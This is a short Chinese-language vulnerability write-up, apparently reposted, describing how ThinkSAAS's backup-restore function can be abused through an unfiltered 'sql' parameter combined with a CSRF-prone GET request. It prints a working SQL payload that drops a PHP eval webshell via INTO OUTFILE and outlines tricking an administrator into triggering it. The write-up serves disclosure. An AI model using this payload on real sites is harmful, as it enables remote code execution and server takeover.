首先这里存在问题的是后台系统管理的数据备份还原处。
这里没有过滤sql参数,直接带入,拼接data/baksql/目录,然后进入恢复数据
这里在恢复是判断有没有分卷,没有分卷就直接恢复了,没有处理所要备份的sql文件的路径,类型,内容等,导致操作任意文件。
然后来看看这里数据恢复的操作:
我们抓个包:
我们在前台上传一个图片,图片内容为:
Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['cmd']);?>");
Select cmd from temp into outfile 'F:/thinksaas/eval.php';
Drop TABLE IF EXISTS temp;
在sql参数处,把sql文件内容替换为我们自己上传的文件即可。
而且最重要的是,这里是GET请求,而且存在CSRF 漏洞 (图中以证明),那么我们上传了恶意文件后,诱使管理访问我们提供的恶意url就能拿到shell。
查看更多关于ThinkSAAS某功能设计不当可能导致可以csrf后台GET的详细内容...
声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://haodehen.cn/did15692